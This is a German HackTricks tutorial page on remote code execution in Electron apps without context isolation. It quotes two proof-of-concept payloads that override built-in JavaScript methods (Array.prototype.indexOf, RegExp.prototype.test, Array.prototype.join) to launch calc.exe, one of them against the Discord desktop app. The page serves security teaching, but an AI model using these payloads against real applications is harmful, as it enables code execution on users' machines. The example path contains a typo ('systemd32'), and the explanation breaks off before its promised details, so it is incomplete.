6.2 KiB
Electron contextIsolation RCE via preload code
Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.
Beispiel 1
Beispiel von https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30
Dieser Code öffnet http(s)-Links mit dem Standardbrowser:
Etwas wie file:///C:/Windows/systemd32/calc.exe
könnte verwendet werden, um einen Taschenrechner auszuführen, das SAFE_PROTOCOLS.indexOf
verhindert dies.
Daher könnte ein Angreifer diesen JS-Code über XSS oder beliebige Seitennavigation einschleusen:
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
Da der Aufruf von SAFE_PROTOCOLS.indexOf
immer 1337 zurückgibt, kann der Angreifer den Schutz umgehen und den Taschenrechner ausführen. Endgültiges Exploit:
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
Überprüfen Sie die Originalfolien nach anderen Möglichkeiten, Programme auszuführen, ohne dass eine Aufforderung zur Berechtigung angezeigt wird.
Anscheinend gibt es eine weitere Möglichkeit, Code zu laden und auszuführen, indem etwas wie file://127.0.0.1/electron/rce.jar
aufgerufen wird.
Beispiel 2: Discord App RCE
Beispiel von https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1
Beim Überprüfen der Preload-Skripte fand ich heraus, dass Discord die Funktion freigibt, die es erlaubt, dass einige erlaubte Module über DiscordNative.nativeModules.requireModule('MODULE-NAME')
aufgerufen werden können, auf der Webseite. Hier konnte ich keine Module verwenden, die direkt für RCE verwendet werden können, wie das child_process Modul, aber ich fand einen Code, mit dem RCE erreicht werden kann, indem die integrierten JavaScript-Methoden überschrieben und in die Ausführung des freigegebenen Moduls eingegriffen wird.
Im Folgenden ist der PoC. Ich konnte bestätigen, dass die calc Anwendung angezeigt wird, wenn ich die Funktion getGPUDriverVersions
aufrufe, die im Modul "discord_utils" definiert ist, aus den devTools, während die RegExp.prototype.test
und Array.prototype.join
überschrieben werden.
RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
Die getGPUDriverVersions
Funktion versucht, das Programm mithilfe der "execa"-Bibliothek auszuführen, wie folgt:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
return result;
};
Normalerweise versucht execa "nvidia-smi.exe" auszuführen, das in der Variablen nvidiaSmiPath
angegeben ist. Aufgrund der überschriebenen RegExp.prototype.test
und Array.prototype.join
wird jedoch das Argument durch "calc" in der internen Verarbeitung von _execa_** ersetzt**.
Speziell wird das Argument durch Ändern der folgenden zwei Teile ersetzt.
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks in PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.